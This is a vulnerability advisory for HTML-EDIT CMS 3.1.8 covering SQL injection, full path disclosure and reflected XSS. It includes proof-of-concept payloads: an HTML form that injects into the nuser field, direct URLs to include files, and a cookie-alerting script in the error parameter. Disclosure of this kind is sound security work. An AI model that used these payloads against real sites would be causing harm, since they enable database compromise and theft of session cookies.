html-edit CMS Multiple Vulnerabilities

                                                Vulnerability ID: HTB22734
Reference: http://www.htbridge.ch/advisory/sql_injection_in_html_edit_cms.html
Product: HTML-EDIT CMS
Vendor: html-edit web services ( http://www.html-edit.org/ ) 
Vulnerable Version: 3.1.8
Vendor Notification: 02 December 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nuser variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/index.php?pageid=ext&ext=login&extpage=registrate" method="post" name="main" >
<input type="hidden" name="nuser" value="123'SQL_CODE"/>
<input type="hidden" name="npass" value="password"/>
<input type="hidden" name="renpass" value="password"/>
<input type="hidden" name="gvrg" value="1"/>
<input type="hidden" name="antw" value="2"/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="submit" value="Registrate" name="submit" />
</form>

Solution: Upgrade to the most recent version


Vulnerability Details:
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://htmledit/includes/core_files/pages.php
http://htmledit/includes/core_files/menu.php
http://htmledit/extensions/login/frontend/pages/antihacker.php

Solution: Upgrade to the most recent version


Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://[host]/index.php?error=<script>alert(document.cookie)</script>

Solution: Upgrade to the most recent version